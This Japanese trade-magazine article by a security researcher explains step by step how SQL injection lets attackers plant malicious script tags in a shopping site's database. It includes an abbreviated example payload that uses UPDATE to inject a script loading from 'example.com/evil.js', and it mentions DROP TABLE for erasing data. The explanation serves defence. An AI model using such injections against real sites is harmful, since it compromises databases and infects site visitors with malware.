前回はSQLインジェクションが急に増えた事情を概説した。今回は,SQLインジェクション攻撃の流れをたどってみよう(図1)。ここではユーザーが指定した商品をデータベースから探せるショッピング・サイトを想定している。

図1●Webサイトに悪質なスクリプトを埋め込まれる例<br>改ざんされたサイトにアクセスしてきたエンド・ユーザーは,最終的にマルウエアに感染してしまう。図中のSQLの内容を変更すれば,攻撃者はデータベースを思うがままに操作できる。なお,図中にある「xxx」という文字列は,ユーザーが入力した「デジタル一眼レフカメラ」という文字列を符号化したもの。
図1●Webサイトに悪質なスクリプトを埋め込まれる例
改ざんされたサイトにアクセスしてきたエンド・ユーザーは,最終的にマルウエアに感染してしまう。図中のSQLの内容を変更すれば,攻撃者はデータベースを思うがままに操作できる。なお,図中にある「xxx」という文字列は,ユーザーが入力した「デジタル一眼レフカメラ」という文字列を符号化したもの。
[画像のクリックで拡大表示]

 最初に,ユーザーがWebページ上で入力した数値や文字列(「xxx」,これはユーザーが入力した文字列「デジタル一眼レフカメラ」をWebブラウザなどのアプリケーションが符号化したもの)は,HTTPリクエストとしてWebサーバー側に送信される。Webサーバーは,リクエストから数値や文字列を取り出して,Webアプリケーションに渡す。

 Webアプリケーションは,受け取った内容をデータベース操作命令に変換し,データベースに送信する。一般に,SQLという言語で操作するデータベース(SQLデータベース)が使われていることが多い。

 たいていのWebアプリケーションではリクエストをSQLに変換する際,あらかじめ用意しておいたテンプレートを利用する。テンプレートには,データベースのテーブルからデータを選択させる「SELECT」,参照するテーブル名を指定する「FROM」などのSQLコマンドを記述しておく。例えば,「SELECT * FROM product WHERE □□□」というテンプレートを用意し,□□□の部分にユーザーが入力した文字列「デジタル一眼レフカメラ(xxx)」をはめ込む。すると,データベースには「SELECT * FROM product WHERE xxx(productテーブルからデジタル一眼レフカメラに該当する製品をリストアップして表示せよ)」という要求が行くわけだ。

 ここで,ユーザーからWebサーバー経由で入力されたデータをWebアプリケーションが適切にチェックしていないと,データベースに不正なSQLを注入される危険性がある。これがSQLインジェクションのぜい弱性だ。

 具体的には,攻撃者がWebサイトに文字列を入力する際,後ろに不正なSQLを付け加える。例えば,前出のWebサイトの入力欄に「デジタル一眼レフカメラ(xxx) UPDATE product SET zzz…(中略)…〈script src="http://example.com/evil.js"〉〈/script〉…」という文字列を入力したとしよう。すると,Webアプリケーションからデータベースに,「SELECT * FROM product WHERE xxx UPDATE product SET zzz…(中略)…〈script src="http://example.com/evil.js"〉〈/script〉…(デジタル一眼レフカメラに相当する製品をリストアップして表示し,さらにproductテーブルの全行のカラムzzzに指定のスクリプト・タグを追加せよ)」という命令が渡される。データベースは,不正なSQLの部分も正当な操作命令と誤解して,実行してしまう。上の例では,デジタル一眼レフカメラに該当する製品データを検索するだけでなく,テーブル中の全行にスクリプト・タグ「〈script src="http://example.com/evil.js"〉〈/script〉」が挿入される。なお,SQLインジェクションで不正なSQLの送信に悪用されるのは上記の例のようなHTTPだけではない。直近ではCookieに不正なデータを埋め込んで送信する手口も登場している(関連記事)。

 以上のような手順で悪質なスクリプト・タグを埋め込まれたWebサイトに,エンドユーザーがアクセスするとどうなるか。最近の便利なWebサイトは,JavaScriptをはじめとするスクリプトの実行を要求することが多い。そのためほとんどのエンドユーザーは,Webブラウザを「全てのWebサイトでスクリプトの実行を許可する」ように設定しているだろう。この場合,Webサーバーからダウンロードしたスクリプトがパソコン上で動作して,インターネット上の別のサーバーに強制的にアクセスしてしまう。そして,Webブラウザなどの各種アプリケーションのぜい弱性を突く攻撃コードがダウンロードされ,結果としてマルウエアに感染してしまうのだ。ちなみに,改ざんの前後でWebサイトの外見が変化することはほとんどない。そのため,エンドユーザーが一見して改ざんに気づくことは難しい。

 攻撃者が最初にWebサイトに入力する文字列を変えれば,ほかにも様々な攻撃ができる。例えば,「DROP TABLE(テーブルを削除する)」コマンドを使えば,データベース内のデータを抹消できてしまう。SQLインジェクション攻撃を許すということは,データベースを攻撃者の思いのままにされてしまうということなのだ。

松木 隆宏(まつき・たかひろ)
ラック サイバーリスク総合研究所 先端技術開発部
セキュリティ事業を手がけるラックの研究員。ぜい弱性検査,ネットワーク・セキュリティに関するコンサルティング業務を経て,現在ではマルウエア対策に関する研究開発に従事する。ソフトウエア開発者の視点からセキュリティを考え,安全なシステム開発手法を研究している。
この記事は,『日経コミュニケーション』2008年9月15日号 pp.50-55に掲載された内容に加筆・修正したものです。